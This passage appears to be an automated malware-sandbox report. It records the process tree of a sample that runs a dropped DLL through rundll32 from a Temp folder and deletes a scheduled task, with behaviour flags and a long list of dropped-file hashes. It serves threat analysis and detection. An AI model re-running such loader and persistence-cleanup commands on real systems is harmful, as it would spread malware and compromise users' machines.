C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\JHEwijpMlSQrgvQB\gzwBWtaL\KRoUlpc.dll",#1 /unsite_idpqg 3851181⤵PID:4620
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\JHEwijpMlSQrgvQB\gzwBWtaL\KRoUlpc.dll",#1 /unsite_idpqg 3851182⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1220 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "BinjFlxHFUMMGNOij"3⤵PID:1664
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD56bd38468c1ed6885f0621c459597d11c
SHA194638cca8e1e3fcdde367a78ffeda527ccf3833c
SHA256bcd2c45cd4650153db3ebc8a1cda353f90d03a9ef37983677a2fafa04afcd5a1
SHA5122b0be048b540ea33b43c72d7a1022953875d540b8c29c27b9a972e640a864fbbb126200aa3bd4d377fa8a3fc113b3571b30cd3c63945789061d05a2a2b6d8916
-
Filesize
2KB
MD5a78a1951b3aab95ccd7777539751173c
SHA17f3ec99c5cbacf2797ed864c8a140d785ded3c68
SHA256633e94a5e688248f20cc37ec0fb14430d5b06281064bfc1ef988eeb2396179ff
SHA512d1815b17ccb41bae99a1cdc8a8c2d2a34a3bfe0800e298e46b4a9424aef25ba452a3ce44cb46b73161c0a4d43c6f78066329cd325335bf8f01f0957ad5589036
-
Filesize
2KB
MD559813cbc9c99d6329f253cc1a06e3d06
SHA1bfd94cf1e4b2f0ad5a17f00fb40e43f859694e90
SHA256aa729294b711624c3d03b53f5aa678762d487e68807e3ca9d0579dda771b70b7
SHA512bafaba924991c7f9ae2b4fd6a8a4d6590f38f18c2c79c527b3e1c1c7359222368050c5f8022eda781983d56ced712894b78f79a9b41f3c398a23d97d60351ad9
-
Filesize
2KB
MD5120a94d472bc56b7485e763f29752278
SHA1198444b1d9e73fbf23017d00d6cb59b965d6e52a
SHA2565ab157a7d2e03b4d4e8356847bd64189596a5cb9a7a0e70e142b02daa0e50503
SHA512e68da2632d333eab3f6488031c0e72ed67925789b4ba98760cb0051b0fda1515f2ec68adf893b01e977a6f87e1e5b0563fd6a1a696b76fbce8236766ce93b1b2
-
Filesize
2.0MB
MD584208f5107a52d3b9a7c0cc9a3171308
SHA1ed47147745883b30af29255937795eee81d58dd5
SHA25604e326da8a44a97f239009738fe344f6f33348e3c55518dd8932b89683503155
SHA512d3ddb6b6678cbba1ce46bdaa0f34a1fcaecf666f2707333da9e215137e44db1b98c26a704216d4d2c41080ef0205ceb3f460990936b819355ec9fe1b0ffe85e2
-
Filesize
2KB
MD5c9b63b720e5d44779565474a41686401
SHA1ca94c7548e87ab21b9a10df92ae8f7d2cd06126b
SHA2560035d0776ebbd0ac001fabd6c154de15b896934c5e0a3a43854ede0c221f9ac9
SHA512afade4e9f28d2d31d85bda8eb8a9d2c8e5133640c7084d3ec9f9d51d33f0e6c8e098a4cf933636aca980496412144d99f0a40d13fe0d0068455a95467a10030c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
Filesize187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
Filesize136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt\messages.json
Filesize150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
Filesize
10KB
MD5d5ce09c25298eec3378f6c23a22fa70d
SHA1e09e3b16bbaf77c1eaef64133d4ba4a002e73bb5
SHA256fdb642e0f899d589578026cd50d550d7b04293e8a04db729600189a61c24a34c
SHA5128a933d87a9ef8de9a8d9f87a5f16f76c51e171dfe076a38684894aaa35f4e47de8c28c5d34a7791863967d5ed0dee4e3716c1701cdaab089bd5a264bd2dcf643
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json
Filesize151B
MD5bd6b60b18aee6aaeb83b35c68fb48d88
SHA19b977a5fbf606d1104894e025e51ac28b56137c3
SHA256b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
SHA5123500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b
-
Filesize
8KB
MD5e00759d02c3219b2edc15e23e46011f6
SHA168ed90e6731ac1afeb622da7da4fe243c22e1f80
SHA256571de636ec00c680aa4ed9fc0a565cb7618d0aa16e30dff33adf54a21aedfbf5
SHA512a21cf4a3f6677d93eeafb58aad470d2e083ad0dcc2b28928e3f0b35c04439565193e288428a7dcd89e688c7e44b02cbd75286dab3854810ef658221dec04a495
-
Filesize
11KB
MD57fc897c4c5eada49b23deae53c68ccf4
SHA1272f1d75ab727d811ff1e9b1f5579e5beb0b5986
SHA25613af911ca6075bc15d3870cc0726a2d170b3d681cc3eda460aed7beb28158854
SHA51293cef04f7bd7edd5c73dc0310e2dc83394d19639bb9875aeb2c40f96c4fb69321f2a69b9d6ec7de2bef149468929fdaf469ea8f3295a6d0c8b563d155453a744
-
Filesize
6.7MB
MD5179fb197a3d7311375c9037091fc224c
SHA1802c18d747c379acd9c9a1fcae6e29636b7bd224
SHA256ff3ef3388be54902b91b3833f2abea5b31fe50f4b5f1cc8be06d6aca1b6683b9
SHA512c2d30d078c1358fcbfa5079893ab21c745df2532deee61b84e3eec395efeded6769a73c3d961fbb7f71260a6303e0f9cf22f37111fb90e7b8d4e4fdbd0337317
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
6KB
MD5acf11c00253c6dd9d2621a89626bd4df
SHA1b7589b1a760417b3f1772df330149c8c08a3f1b5
SHA2565bc81ea001b2f984428b76fca854278759214488c8bcf85806e0f4c39ebb1f68
SHA512e0074fcbeccb81f46a4ccd0700319dbfcaf1a2bed07648eea8efceac32291d256d5c5794f0eeae7dbd0cc534b69bb9ea9e961bd9d0ef6cd701ac4e5b2db9fa2a
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize1KB
MD5aebf4bf6752c28a76f012ad901a1b27e
SHA19609832f721f53d59f2d01b9d740649f44f965ea
SHA25673316c4c39ce34c44aa26ba504def77616d56f1d7e4a4330ce67a3719ba7b7b4
SHA512dbf3b971ddcb84a3f5c6b76515a6d9f782fd34d109133cf3b1760596ca1b5bf92e6dd11947b430bba77cfc2ef93f8978d90aaba571d7e299a04e01c96428af50
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize11KB
MD5e94b92cc4d65a851367d0a13f507884f
SHA1bd063ac02f71a562e44308eef7b1a10a3919dd8a
SHA2567cd5b8874a6e645a183d5f6699a07666fda6f39d4755ddb58f98834286735c33
SHA5120336ed978cc7cca8a68e5afc840b1950d65249760af549ee4fda8a902c11b725ba6ef2204a8faa76b80c66e0de48574469205575bff06234092957de5d8879d0
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize11KB
MD5c322980f5c0d2726f3276934101f434f
SHA1e790724bd825e58f23fe1b2cf4946486cc722787
SHA256db03e022cc6a3562f5de78495ba11bbb2bbe9a8835521f140f8d0c6d9fefd40c
SHA512c9836115ccc1a3dce27868a23872e393b11cc15775c72f3495afde52bec10a9cc21dc7e317b9a4f7f9f30983ed85783853cf8c6ded16668ac22410f0dff9573d
-
Filesize
6.4MB
MD544f3948cb32c3b8df1fca5ef30116aa0
SHA1c674b72e1e1058d0e29d555abc09d40f0c7c8a0c
SHA25612cd48a7e59081b04ad77863bdfc946ecaeccede9368f6410e05c80ee526a0fe
SHA51209d5de6251c88e853132bc8455f2da4d4922a9059778c5103652da3420cd7f98de983f6e3e9ebbe201bd520ac6dbff4cc95b7f01cf6ea335b05671f99649b5b0
-
Filesize
6KB
MD58c42e38daa3967c0dbd1a7c997277337
SHA16ca32c442c87b1fdb51695f309ab85e0a8b7ac4b
SHA256c83e699501fa76008a08daef520d2f8ee69ee9b1934b67c088637ee175ad6546
SHA512237957f1cb063b22eeb6aa84eaa81dab617d28c35e7ea7ca40c45334d7982edec78c4a87fa16f0a2921f7cbf0267fdcc29a249df97b925f62c1df36fb691f899